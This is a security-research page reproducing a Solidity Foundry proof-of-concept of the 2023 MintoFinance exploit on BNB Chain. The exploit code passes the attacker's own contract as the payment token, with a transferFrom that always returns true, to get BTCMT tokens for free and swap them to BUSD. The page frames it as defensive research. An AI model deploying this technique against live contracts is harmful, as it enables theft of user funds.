Public reproduction file
src/test/2023-07/MintoFinance_exp.sol
Public reproduction file for dataset entry MintoFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: MIT2pragma solidity ^0.8.9;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~9k US$8// Attacker : https://bscscan.com/address/0xc5001f60db92afcc23177a6c6b440a4226cb58bf9// Attack Contract : https://bscscan.com/address/0xba91db0b31d60c45e0b03e6d515e45fcabc7b1cd10// Vulnerable Contract :https://bscscan.com/address/0xdbf1c56b2ad121fe705f9b68225378aa6784f3e511// Attack Tx :https://explorer.phalcon.xyz/tx/bsc/0x53be95dc8ffbc80060215133f76f48df35deef3cd7e1803e24b1e2f8aa53440b12// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0x0d116ed40831fef8e21ece57c8455ae3b1e4041b#code14// @Analysis15// Twitter Guy : https://twitter.com/bbbb/status/1683180340548890631?s=2016interface ReferalCrowdSales {17 struct LinkParameters {18 bytes32 linkHash;19 address linkFather;20 address linkSon;21 uint256 fatherPercent;22 bytes linkSignature;23 }25 struct PurchaseParameters {26 bool give;27 bool lockedPurchase;28 address paymentToken;29 uint256 usdtAmount;30 uint256 btcmtAmount;31 uint256 lockIndex;32 uint256 expirationTime;33 bytes buySignature;34 }36 function buyTokens(LinkParameters memory linkParams, PurchaseParameters memory purchaseParams) external;37}39interface PancakeRouter3 {40 struct ExactInputSingleParams {41 address tokenIn;42 address tokenOut;43 uint24 fee;44 address recipient;45 uint256 amountIn;46 uint256 amountOutMinimum;47 uint160 sqrtPriceLimitX96;48 }50 function exactInputSingle(51 ExactInputSingleParams memory params52 ) external payable returns (uint256 amountOut);53}55contract MintoFinance_exp is Test {56 address constant BUSD = 0x55d398326f99059fF775485246999027B3197955; //correct57 IERC20 BTCMT;59 function setUp() public {60 vm.createSelectFork("bsc", 30_214_253);61 BTCMT = IERC20(0x410a56541bD912F9B60943fcB344f1E3D6F09567);62 }64 function testExploit() external {65 console.log("BTCMT balance before the Exploit", BTCMT.balanceOf(address(this)));66 ReferalCrowdSales.LinkParameters memory linkParams;67 ReferalCrowdSales.PurchaseParameters memory purchaseParams;68 linkParams.linkHash = 0xc69c51e039668f688f28f427c63cd60aa986f8ce1546039e6a302fb721473814;69 linkParams.linkFather = 0x0000000000000000000000000000000000000000;70 linkParams.linkSon = 0x0000000000000000000000000000000000000000;71 linkParams.fatherPercent = 0;72 linkParams.linkSignature = "";73 purchaseParams.give = false;74 purchaseParams.lockedPurchase = false;75 purchaseParams.paymentToken = address(this);76 purchaseParams.usdtAmount = 12_100e18;77 purchaseParams.btcmtAmount = 0;78 purchaseParams.expirationTime = 0;79 purchaseParams.buySignature = "";81 ReferalCrowdSales(0xDbF1C56b2aD121Fe705f9b68225378aa6784f3e5).buyTokens(linkParams, purchaseParams);82 uint256 balance = BTCMT.balanceOf(address(this));83 console.log("BTCMT balance after the Exploit", balance);84 console.log("Swap BTCMT -> BUSD through pancakeSwap");85 BTCMT.approve(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4, type(uint256).max);87 PancakeRouter3.ExactInputSingleParams memory inputparams;88 inputparams.tokenIn = address(BTCMT);89 inputparams.tokenOut = BUSD;90 inputparams.fee = uint24(100);91 inputparams.recipient = address(this);92 inputparams.amountIn = balance;93 inputparams.amountOutMinimum = uint256(0);94 inputparams.sqrtPriceLimitX96 = uint160(0);95 PancakeRouter3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4).exactInputSingle(inputparams);96 uint256 bUSDBalance = IERC20(BUSD).balanceOf(address(this));97 console.log("BUSD balance after the Exploit", bUSDBalance);98 }100 function transferFrom(address a, address b, uint256 amount) external returns (bool) {101 return true;102 }103}Analysis
Dataset entry
Public Foundry test for “MintoFinance” (2023-07-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc5001f60db92afcc23177a6c6b440a4226cb58bf
- Attack Contract
0xba91db0b31d60c45e0b03e6d515e45fcabc7b1cd
- Vulnerable Contract
0xdbf1c56b2ad121fe705f9b68225378aa6784f3e5
- Vulnerable Contract
0x0d116ed40831fef8e21ece57c8455ae3b1e4041b
- Attack Tx
0x53be95dc8ffbc80060215133f76f48df35deef3cd7e1803e24b1e2f8aa53440b
- Twitter: https://twitter.com/bbbb/status/1683180340548890631?s=20
- Explorer: https://bscscan.com/address/0xc5001f60db92afcc23177a6c6b440a4226cb58bf
- Explorer: https://bscscan.com/address/0xba91db0b31d60c45e0b03e6d515e45fcabc7b1cd
- Explorer: https://bscscan.com/address/0xdbf1c56b2ad121fe705f9b68225378aa6784f3e5
- Explorer: https://bscscan.com/address/0x0d116ed40831fef8e21ece57c8455ae3b1e4041b#code
File record
- Name
- MintoFinance
- Path
- src/test/2023-07/MintoFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6163a712cb79641490e06d4fc65294bb4caf1a9b
- Language
- Solidity
- Size
- 104 lines
- Date
- 2023-07-23
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/MintoFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6163a712cb79641490e06d4fc65294bb4caf1a9b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.